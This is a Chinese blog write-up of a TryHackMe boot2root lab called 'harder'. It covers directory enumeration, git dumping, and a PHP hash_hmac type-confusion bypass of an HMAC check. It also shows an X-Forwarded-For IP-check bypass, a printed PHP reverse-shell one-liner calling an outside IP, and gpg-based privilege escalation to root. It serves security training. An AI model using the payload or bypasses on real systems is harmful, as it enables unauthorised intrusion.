TryHackMe-harder(boot2root)

文章详细描述了一次渗透测试的过程,从使用nmap进行端口扫描,发现Web服务并枚举目录,利用gobuster和ffuf发现隐藏页面,到通过PHP代码审计找到漏洞,利用hash_hmac实现控制变量,获取反向shell,再到横向移动和权限提升,最终获得Root权限。
摘要由CSDN通过智能技术生成

harder

结合真实的渗透测试结果。该机器的灵感完全来自现实世界的渗透测试结果。也许你会认为它们非常具有挑战性,但没有任何兔子洞。一旦你有一个 shell,知道使用哪个底层 Linux 发行版以及某些配置的位置是非常重要的。


端口扫描

循例 nmap

在这里插入图片描述

Web枚举

进80

在这里插入图片描述

目录扫描

上gobuster,发现报错,原因是不管请求的页面存不存在,都是200,仅在页面内容显示404

在这里插入图片描述

上ffuf

在这里插入图片描述

扫到phpinfo和vendor

继续对vendor扫,一层层扫进去最后无果

在这里插入图片描述

在查看响应的时候发现响应头有个域名

在这里插入图片描述

将其添加进hosts

在这里插入图片描述

进入pwd子域,是一个登录框

在这里插入图片描述

随手一个admin:admin,进去

在这里插入图片描述

gobuster扫一波,有东西

在这里插入图片描述

发现有.git,直接上githacker

在这里插入图片描述

PHP代码审计

得到三个php文件

在这里插入图片描述

有利用价值的信息在hmac.php

<?php
if (empty($_GET['h']) || empty($_GET['host'])) {
   header('HTTP/1.0 400 Bad Request');
   print("missing get parameter");
   die();
}
require("secret.php"); //set $secret var
if (isset($_GET['n'])) {
   $secret = hash_hmac('sha256', $_GET['n'], $secret);
}

$hm = hash_hmac('sha256', $_GET['host'], $secret);
if ($hm !== $_GET['h']){
  header('HTTP/1.0 403 Forbidden');
  print("extra security check failed");
  die();
}
?>

这段代码利用$secret将host变量进行sha256加密然后将加密的host 即$hm与h进行是否相等判断,虽然我们不知道$secret的值,但是在代码中,会利用$n变量进行sha256加密然后赋值给$secret

目前就是要想办法利用$n将$secret变得可控

在php hash_hmac官方文档当中,有一条有意思的评论

在这里插入图片描述

其实这里就是利用了hash_hmac的data参数只允许string的问题,如果data是非字符串,则函数直接返回空

利用这一点,我们就可以利用$n来控制$secret

在这里插入图片描述

丢到靶机,可以看到状态码已经是200,说明通过了,但是仍然没有数据

在这里插入图片描述

在index.php当中也导入hmac.php,去那边试试

在这里插入图片描述

得到了一组新凭据和一个子域

在这里插入图片描述

将子域添加进hosts,进去看看

在这里插入图片描述

又是这个登录框,使用刚刚获得的凭据登录

在这里插入图片描述

使用X-Forwarded-For轻松绕过

在这里插入图片描述

Reverse Shell

能执行命令

在这里插入图片描述

这里使用php来getshell

cmd=php+-r+'$sock%3dfsockopen("10.9.62.153",8888)%3bpopen("/bin/sh+<%263+>%263+2>%263",+"r")%3b'

值得注意的是,shellcode必须是/bin/sh而不是bash,因为靶机根本没有/bin/bash

在这里插入图片描述

user flag

在这里插入图片描述

横向移动

find www用户所有文件

在这里插入图片描述

给了evs的凭据,这docker里su没有suid,无法直接su过去,所有需要在外面ssh登录

在这里插入图片描述

在这里插入图片描述

权限提升

但这个脚本的注释给出的信息,说明可能还有其他脚本

在这里插入图片描述

这里是利用gpg加密需要执行的命令然后使用execute-crypted命令执行

在这里插入图片描述

这里只需要跟着脚本中说的做即可,但首先需要找到公钥,之后才能使用公钥加密

在这里插入图片描述

执行命令的文件./cmd

在这里插入图片描述

导入公钥

在这里插入图片描述

利用公钥加密

在这里插入图片描述

开启nc监听,execute-crypted执行cmd.gpg

在这里插入图片描述

getroot

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值